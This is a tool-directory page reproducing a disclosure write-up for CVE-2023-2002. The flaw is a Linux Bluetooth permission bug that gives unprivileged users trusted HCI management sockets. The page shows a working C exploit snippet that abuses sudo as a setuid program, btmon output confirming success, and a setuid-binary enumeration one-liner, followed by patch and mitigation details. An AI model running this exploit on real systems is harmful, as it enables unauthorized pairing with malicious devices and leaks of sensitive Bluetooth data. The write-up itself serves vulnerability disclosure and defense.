Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-2002 — Linux Bluetooth - Run arbitrary management commands as an unprivileged user | Kitploit
Tools/GitHubGitHub/lrh2000/cve-2023-2002
Privilege EscalationBluetooth SecurityVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHublrh2000/cve-2023-2002

CVE-2023-2002

Linux Bluetooth - Run arbitrary management commands as an unprivileged user

View Repository
857153 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Linux Bluetooth: Unauthorized management command execution (CVE-2023-2002)

An insufficient permission check has been found in the Bluetooth subsystem of the Linux kernel when handling ioctl system calls of HCI sockets. This causes tasks without the proper CAP_NET_ADMIN capability can easily mark HCI sockets as trusted. Trusted sockets are intended to enable the sending and receiving of management commands and events, such as pairing or connecting with a new device. As a result, unprivileged users can acquire a trusted socket, leading to unauthorized execution of management commands. The exploit requires only the presence of a set of commonly used setuid programs (e.g., su, sudo).

Cause

The direct cause of the vulnerability is the following code snippet:

static int hci_sock_ioctl(struct socket *sock, unsigned int cmd,
                          unsigned long arg)
{
	...
        if (hci_sock_gen_cookie(sk)) {
		...
                if (capable(CAP_NET_ADMIN))
                        hci_sock_set_flag(sk, HCI_SOCK_TRUSTED);
		...
        }
	...
}

The implementation of an ioctl system call verifies whether the task invoking the call has the necessary CAP_NET_ADMIN capability to update the HCI_SOCK_TRUSTED flag. However, this check only considers the calling task, which may not necessarily be the socket opener. For instance, the socket can be shared with another task using fork and execve, where the latter task may be privileged, such as a setuid program. Moreover, if the socket is used as stdout or stderr, an ioctl call is made to obtain tty parameters, which can be verified through the strace command.

# strace -e trace=ioctl sudo > /dev/null
ioctl(3, TIOCGPGRP, [30305])            = 0
ioctl(2, TIOCGWINSZ, {ws_row=45, ws_col=190, ws_xpixel=0, ws_ypixel=0}) = 0

The ioctl calls for tty parameters will never succeed on HCI sockets, but they are sufficient to mark HCI sockets as trusted. Therefore, an unprivileged program can hold trusted HCI sockets, enabling it to send and receive management commands and events, since the trusted flag will never be cleared.

Exploit

The exploitation can be as easy as below:

	int fd = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);

	/* By executing sudo with an HCI socket as stderr, an ioctl
	 * system call makes the HCI socket privileged (i.e. with
	 * the HCI_SOCK_TRUSTED flag set).
	 */
	int pid = fork();
	if (pid == 0) {
		dup2(fd, 2);
		close(fd);
		execlp("sudo", "sudo", NULL);
	}

	waitpid(pid, NULL, 0);

	struct sockaddr_hci haddr;
	haddr.hci_family = AF_BLUETOOTH;
	haddr.hci_dev = HCI_DEV_NONE;
	haddr.hci_channel = HCI_CHANNEL_CONTROL;

	/* The socket has not been bound. It can be bound to the
	 * management channel now. After that, the HCI_SOCK_TRUSTED
	 * flag is still present, as it will indeed never be cleared.
	 */
	bind(fd, (struct sockaddr *)&haddr, sizeof(haddr));

Furthermore, btmon can be used to confirm that the socket becomes trusted and successive management commands will succeed:

# btmon
@ RAW Open: sudo (privileged) version 2.22
@ RAW Close: sudo
@ MGMT Open: sudo (privileged) version 1.22
@ MGMT Command: Set Powered (0x0005) plen 1
        Powered: Disabled (0x00)
@ MGMT Event: Command Complete (0x0001) plen 7
      Set Powered (0x0005) plen 4
        Status: Success (0x00)

A full PoC exploit to change the power state of Bluetooth devices can be found on GitHub.

Impact

If successfully exploited, the identified vulnerability has the potential to compromise the confidentiality, integrity, and availability of Bluetooth communication. Attackers can exploit this vulnerability to pair the controller with malicious devices, even if the Bluetooth service is disabled or not installed. It is also possible to prevent specific devices from being paired, or read some sensitive information such as the OOB data.

Affection

The exploitable vulnerability has been present in the Linux kernel since v4.9. More specifically, it becomes exploitable after the commit f81f5b2db869 ("Bluetooth: Send control open and close messages for HCI raw sockets"). Prior to this commit, exploiting the vulnerability required tricking a privileged program into binding an HCI socket, which is very hard (if not impossible) to trigger in practice. However, after the commit, it requires only tricking a privileged program to invoke an ioctl system call, which relies only on the existence of an setuid program, as illustrated above.

The exploitation works as long as there are setuid programs (or more precisely, programs with the CAP_NET_ADMIN capability) that invokes ioctl calls on stdin, stdout, or stderr. In most Linux distros, a quick (but very coarse) test reveals that quite a few setuid programs are using ioctl system calls, which are marked with 'V' in the table below:

# find . -user root -perm -4000 -exec sh -c "strace -e trace=ioctl {} < /dev/null 2>&1 > /dev/null | grep ioctl > /dev/null && echo -n 'V ' || echo -n 'S '; echo {};" \; | sort
S ./chage
S ./expiry
S ./fusermount
S ./fusermount3
S ./gpasswd
S ./ksu
S ./mount.cifs
S ./sg
S ./umount
V ./chfn
V ./chsh
V ./mount
V ./newgrp
V ./passwd
V ./pkexec
V ./screen-4.9.0
V ./su
V ./sudo
V ./unix_chkpwd

After manually checking the strace output, it is found that all of these ioctl users are using ioctl calls on stdin, stdout, or stderr to get or set some tty parameters. Note that exactly no arguments are passed to these setuid programs. If some crafted arguments are passed, the number of ioctl users may increase. As a result, a number of linux distros can be vulnerable to the exploitation.

As a side note, Android devices, however, are unlikely to be affected since the exploitation requires the existence of setuid programs, which Android has avoided using for some time. Besides, there are also no applications with the CAP_NET_ADMIN capability on Android.

Mitigation

A patch has been posted to the linux-bluetooth mailing list which fixes this vulnerability by replacing capable() with sk_capable(), where sk_capable() checks not only the current task but also that the socket opener has the required capability. At the same time, another submitted patch hardens the ioctl processing logic by checking command validity at the start of hci_sock_ioctl() and returning with an ENOIOCTLCMD error code immediately before doing anything if the command is invalid.

As a workaround, if the Bluetooth devices are not being used at all (but it is not feasible to physically remove the device), it is possible to simply block the devices using rfkill, which will prevent the devices from being powered up. By doing so, sending management commands to power up Bluetooth devices won't succeed. This can significantly reduce the impact of this vulnerability.

Download Tool